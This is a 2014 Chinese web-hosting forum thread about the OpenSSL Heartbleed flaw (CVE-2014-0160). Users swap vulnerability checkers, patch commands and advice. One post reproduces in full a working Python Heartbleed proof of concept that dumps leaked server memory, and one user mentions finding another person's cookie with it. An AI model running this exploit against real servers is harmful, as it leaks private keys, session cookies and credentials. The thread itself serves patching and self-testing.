全球主机交流论坛

标题: OpenSSL 严重缺陷 [打印本页]

作者: 杨咩咩    时间: 2014-4-8 12:29
标题: OpenSSL 严重缺陷
别玩点评了,赶快去升级。

http://www.heartbleed.com

作者: yohu    时间: 2014-4-8 13:04
已升级过了。
作者: 我是人    时间: 2014-4-8 21:38
关于OpenSSL破洞,大家可以用这个链接测试自己的机器网站有没有破掉:

http://filippo.io/Heartbleed

不是打补丁就完事了,所有SSL要重建!
作者: 分享吧    时间: 2014-4-8 21:44
我是人 发表于 2014-4-8 21:38
关于OpenSSL破洞,大家可以用这个链接测试自己的机器网站有没有破掉:

http://filippo.io/Heartbleed

破掉的话,  会显示什么。。。。。
作者: 节操    时间: 2014-4-8 21:45
都这么高端用上这个了
作者: 我是人    时间: 2014-4-8 21:46
分享吧 发表于 2014-4-8 21:44
破掉的话,  会显示什么。。。。。

这样:
www.你的域名.com IS VULNERABLE.

如果是安全的:
All good, www.你的域名.com seems not affected!
作者: Jetso    时间: 2014-4-8 21:52
我是人 发表于 2014-4-8 21:38
关于OpenSSL破洞,大家可以用这个链接测试自己的机器网站有没有破掉:

http://filippo.io/Heartbleed

在杨咩咩帖里看到我是人,你有什么话想说。。
作者: wvidc    时间: 2014-4-8 21:54
All good, www.wvidc.com seems not affected!
作者: yohu    时间: 2014-4-8 22:11
升级完补丁测试了一下,有问题,重启了nginx再测试,就没问题了。
作者: 我是人    时间: 2014-4-8 22:15
本帖最后由 我是人 于 2014-4-9 02:05 编辑
yohu 发表于 2014-4-8 22:11
升级完补丁测试了一下,有问题,重启了nginx再测试,就没问题了。


想要手动的可以用这个(记得把mjj.com换成你的域名或IP,port不是443的也要换掉):
  1. openssl s_client -connect mjj.com:443 -tlsextdebug 2>&1 | grep 'server extension "heartbeat" (id=15)' || echo safe
复制代码


编辑
注意:上面测的是heartbeat extension是否开启着,如果你的机器已经装上修复版本的OpenSSL,这指令也会给你heartbeat。能够真正测出有没有问题的可以用线上测试(http://possible.lv/tools/hb/),或者自己玩代码,例如https://gist.github.com/takeshixx/10107280,网上搜一下CVE-2014-0160 Proof of Concept就会有各类型的方便面出现。在这里顺便感谢雨宫音羽的回复。

补丁后如果要找谁还在用破东西可以这样:
  1. lsof -n | grep ssl | grep DEL
复制代码


作者: SKIDROW    时间: 2014-4-8 22:20
bluevm和大便已中枪。
作者: 总是吵架的猪    时间: 2014-4-8 22:36
我是人 发表于 2014-4-8 22:15
想要手动的可以用这个(记得把mjj.com换成你的域名或IP,port不是443的也要换掉):

我没有开启ssl呢?也需要升级吗?
作者: 总是吵架的猪    时间: 2014-4-8 22:49
@我是人  谢谢了 那就不着急升级了 我以为这个会影响到ssh呢
吓死我了
作者: 气味    时间: 2014-4-8 22:58
不明觉厉
作者: cnx    时间: 2014-4-8 23:06
这个要支持一下。
作者: bolatu    时间: 2014-4-8 23:07
不明觉厉
作者: 我是人    时间: 2014-4-8 23:28
总是吵架的猪 发表于 2014-4-8 22:49
@我是人  谢谢了 那就不着急升级了 我以为这个会影响到ssh呢
吓死我了

我最后看到的是对SSH没影响,即使是改装成用X.509的免密码登陆也没事。

至于所说的SSL重建是为了以防万一,也就是以SSL Key已经被劫走为前提而作的最坏打算。要不然就像yohu所说的,打完补丁重启受影响的服务(例如apache, ngix等等)即可。
作者: xxoo    时间: 2014-4-8 23:41
cnx 发表于 2014-4-8 23:06
这个要支持一下。

mjj
作者: 雨宫音羽    时间: 2014-4-9 01:15
我是人 发表于 2014-4-8 22:15
想要手动的可以用这个(记得把mjj.com换成你的域名或IP,port不是443的也要换掉):

这个不好使,修复了的服务器也会显示出有heartbeat extension 但是确实无法被利用
作者: holinhot    时间: 2014-4-9 01:18
www.alipay.com IS VULNERABLE   快上
作者: 晓白    时间: 2014-4-9 01:20
提示: 作者被禁止或删除 内容自动屏蔽
作者: 我是人    时间: 2014-4-9 01:25
雨宫音羽 发表于 2014-4-9 01:15
这个不好使,修复了的服务器也会显示出有heartbeat extension 但是确实无法被利用 ...

呃,你说的也对,因为那一行检测的是有没有开启heartbeat extension。。。

正常修复后的会如你所说的会出现heartbeat。
作者: domin    时间: 2014-4-9 01:30
我是人 发表于 2014-4-8 21:46
这样:
www.你的域名.com IS VULNERABLE.

不是说centos 5机器木影响么? 怎么测试了也说VULNERABLE
这个站准确么
作者: 我是人    时间: 2014-4-9 01:37
domin 发表于 2014-4-9 01:30
不是说centos 5机器木影响么? 怎么测试了也说VULNERABLE
这个站准确么

别用那个站了,已经被蹂/躏成一堆泥了。。。

可以用http://possible.lv/tools/hb/试试。
作者: domin    时间: 2014-4-9 01:43
我是人 发表于 2014-4-9 01:37
别用那个站了,已经被蹂/躏成一堆泥了。。。

可以用http://possible.lv/tools/hb/试试。 ...

不是用最新的centos 6.5是不是就不用担心?...
作者: 雨宫音羽    时间: 2014-4-9 01:46
domin 发表于 2014-4-9 01:43
不是用最新的centos 6.5是不是就不用担心?...

Looking for TLS extensions on https://billing.cnservers.com

ext 65281 (renegotiation info, length=1)
ext 00035 (session ticket, length=0)
ext 00015 (heartbeat, length=1) <-- Your server supports heartbeat. Bug is possible when linking against OpenSSL 1.0.1f or older. Let me check.
Actively checking if CVE-2014-0160 works: Server is vulnerable, please upgrade software ASAP.


防水墙补丁
作者: Kslr    时间: 2014-4-9 01:46
  我发现我的是good 额,会自动升级的吗 哈哈
作者: 我是人    时间: 2014-4-9 01:51
domin 发表于 2014-4-9 01:43
不是用最新的centos 6.5是不是就不用担心?...

很难说的准。。。我觉得最好还是小心为上。

如果要自己测试的话网上很多PoC,例如。。。https://gist.github.com/takeshixx/10107280,搜一搜CVE-2014-0160就会有各种泡泡龙出现。
作者: domin    时间: 2014-4-9 02:35
雨宫音羽 发表于 2014-4-9 01:46
防水墙补丁

搞不懂啊...这是什么原因? 不是用那个版本也会有漏洞么
作者: ekucn    时间: 2014-4-9 02:39
提示: 作者被禁止或删除 内容自动屏蔽
作者: lazyzhu    时间: 2014-4-9 02:41
晓白 发表于 2014-4-9 01:20
刚看了下 自己是编译安装的openssl-1.0.1c版本 是不是代表我可以幸灾乐祸一下??? ...

你的有漏洞,用openssl-1.0.1g
作者: domin    时间: 2014-4-9 02:52
ekucn 发表于 2014-4-9 02:39
http://blog.existentialize.com/diagnosis-of-the-openssl-heartbleed-bug.html
不就是这个原因。。。 ...

不是啊. 网上说centos 5没事, 不是那个版本的openssl也没事, 但为什么检测起来却有事...
作者: 雨宫音羽    时间: 2014-4-9 03:51
domin 发表于 2014-4-9 02:52
不是啊. 网上说centos 5没事, 不是那个版本的openssl也没事, 但为什么检测起来却有事... ...

别看了,PoC打印出信息了。。快yum upgrade吧

GVH也中招了,发现某个人的cookie了,看看能不能连上
作者: domin    时间: 2014-4-9 05:36
雨宫音羽 发表于 2014-4-9 03:51
别看了,PoC打印出信息了。。快yum upgrade吧

GVH也中招了,发现某个人的cookie了,看看能不能连上 ...

看来网上信息也不对嘛. 我明明用centos 5和0.9.8...怎么也有洞
作者: 雨宫音羽    时间: 2014-4-9 20:01
domin 发表于 2014-4-9 05:36
看来网上信息也不对嘛. 我明明用centos 5和0.9.8...怎么也有洞

可能是你的Apache是预编译的 并且编译时使用的是全静态编译。
作者: domin    时间: 2014-4-9 23:55
雨宫音羽 发表于 2014-4-9 20:01
可能是你的Apache是预编译的 并且编译时使用的是全静态编译。

用的是litespeed...估计可能是litespeed的问题.
作者: yohu    时间: 2014-4-10 00:27
网上找来的,把最后面的代码保存为ssltest.py,加执行权限。

执行下面命令就可以看出有没有问题,这个比那个网站上的测试准确些。
  1. ./ssltest.py abc.com -p 443
复制代码

  1. #!/usr/bin/python

  2. # Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford ([email protected])
  3. # The author disclaims copyright to this source code.

  4. import sys
  5. import struct
  6. import socket
  7. import time
  8. import select
  9. import re
  10. from optparse import OptionParser

  11. options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
  12. options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')

  13. def h2bin(x):
  14.     return x.replace(' ', '').replace('\n', '').decode('hex')

  15. hello = h2bin('''
  16. 16 03 02 00  dc 01 00 00 d8 03 02 53
  17. 43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
  18. bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
  19. 00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
  20. 00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
  21. c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
  22. c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
  23. c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
  24. c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
  25. 00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
  26. 03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
  27. 00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
  28. 00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
  29. 00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
  30. 00 0f 00 01 01                                 
  31. ''')

  32. hb = h2bin('''
  33. 18 03 02 00 03
  34. 01 40 00
  35. ''')

  36. def hexdump(s):
  37.     for b in xrange(0, len(s), 16):
  38.         lin = [c for c in s[b : b + 16]]
  39.         hxdat = ' '.join('%02X' % ord(c) for c in lin)
  40.         pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
  41.         print '  %04x: %-48s %s' % (b, hxdat, pdat)
  42.     print

  43. def recvall(s, length, timeout=5):
  44.     endtime = time.time() + timeout
  45.     rdata = ''
  46.     remain = length
  47.     while remain > 0:
  48.         rtime = endtime - time.time()
  49.         if rtime < 0:
  50.             return None
  51.         r, w, e = select.select([s], [], [], 5)
  52.         if s in r:
  53.             data = s.recv(remain)
  54.             # EOF?
  55.             if not data:
  56.                 return None
  57.             rdata += data
  58.             remain -= len(data)
  59.     return rdata
  60.         

  61. def recvmsg(s):
  62.     hdr = recvall(s, 5)
  63.     if hdr is None:
  64.         print 'Unexpected EOF receiving record header - server closed connection'
  65.         return None, None, None
  66.     typ, ver, ln = struct.unpack('>BHH', hdr)
  67.     pay = recvall(s, ln, 10)
  68.     if pay is None:
  69.         print 'Unexpected EOF receiving record payload - server closed connection'
  70.         return None, None, None
  71.     print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
  72.     return typ, ver, pay

  73. def hit_hb(s):
  74.     s.send(hb)
  75.     while True:
  76.         typ, ver, pay = recvmsg(s)
  77.         if typ is None:
  78.             print 'No heartbeat response received, server likely not vulnerable'
  79.             return False

  80.         if typ == 24:
  81.             print 'Received heartbeat response:'
  82.             hexdump(pay)
  83.             if len(pay) > 3:
  84.                 print 'WARNING: server returned more data than it should - server is vulnerable!'
  85.             else:
  86.                 print 'Server processed malformed heartbeat, but did not return any extra data.'
  87.             return True

  88.         if typ == 21:
  89.             print 'Received alert:'
  90.             hexdump(pay)
  91.             print 'Server returned error, likely not vulnerable'
  92.             return False

  93. def main():
  94.     opts, args = options.parse_args()
  95.     if len(args) < 1:
  96.         options.print_help()
  97.         return

  98.     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  99.     print 'Connecting...'
  100.     sys.stdout.flush()
  101.     s.connect((args[0], opts.port))
  102.     print 'Sending Client Hello...'
  103.     sys.stdout.flush()
  104.     s.send(hello)
  105.     print 'Waiting for Server Hello...'
  106.     sys.stdout.flush()
  107.     while True:
  108.         typ, ver, pay = recvmsg(s)
  109.         if typ == None:
  110.             print 'Server closed connection without sending Server Hello.'
  111.             return
  112.         # Look for server hello done message.
  113.         if typ == 22 and ord(pay[0]) == 0x0E:
  114.             break

  115.     print 'Sending heartbeat request...'
  116.     sys.stdout.flush()
  117.     s.send(hb)
  118.     hit_hb(s)

  119. if __name__ == '__main__':
  120.     main()
复制代码

作者: 我是人    时间: 2014-4-10 01:46
domin 发表于 2014-4-9 23:55
用的是litespeed...估计可能是litespeed的问题.

没在用Litespeed,不过他们8号有发布补丁。。。

http://blog.litespeedtech.com/2014/04/08/litespeed-security-patch-to-fix-heartbleed-bug-in-openssl/
作者: 西崽猪猪    时间: 2014-4-10 01:58
我是人 发表于 2014-4-10 01:46
没在用Litespeed,不过他们8号有发布补丁。。。

http://blog.litespeedtech.com/2014/04/08/litespeed-s ...


http://fd.vvwvv.eu.org/thread-239974-1-1.html
作者: 晓白    时间: 2014-4-10 02:01
提示: 作者被禁止或删除 内容自动屏蔽
作者: 西崽猪猪    时间: 2014-4-10 02:18
晓白 发表于 2014-4-10 02:01
楼上的是穿越了 还是奥特了

New package openssl-1.0.1e-16.el6_5.7 has been released earlier today that fixes critical security issue
CVE-2014-0160 , details could be found here:
https://rhn.redhat.com/errata/RHSA-2014-0376.html
http://lists.centos.org/pipermail/centos-announce/2014-April/020249.html

To update it immediately please do the following:

# yum clean all
# yum update openssl
# cagefsctl --force-update
# /etc/init.d/httpd stop
# /etc/init.d/httpd start
If you are using LiteSpeed you would need to update it to 4.2.9 , related blog post: http://blog.litespeedtech.com/2014/04/08/litespeed-security-patch-to-fix-heartbleed-bug-in-openssl/

另外我好着呢,只不过没看见这个贴,前面在约会揩油




欢迎光临 全球主机交流论坛 (https://fd.vvwvv.eu.org/) Powered by Discuz! X3.4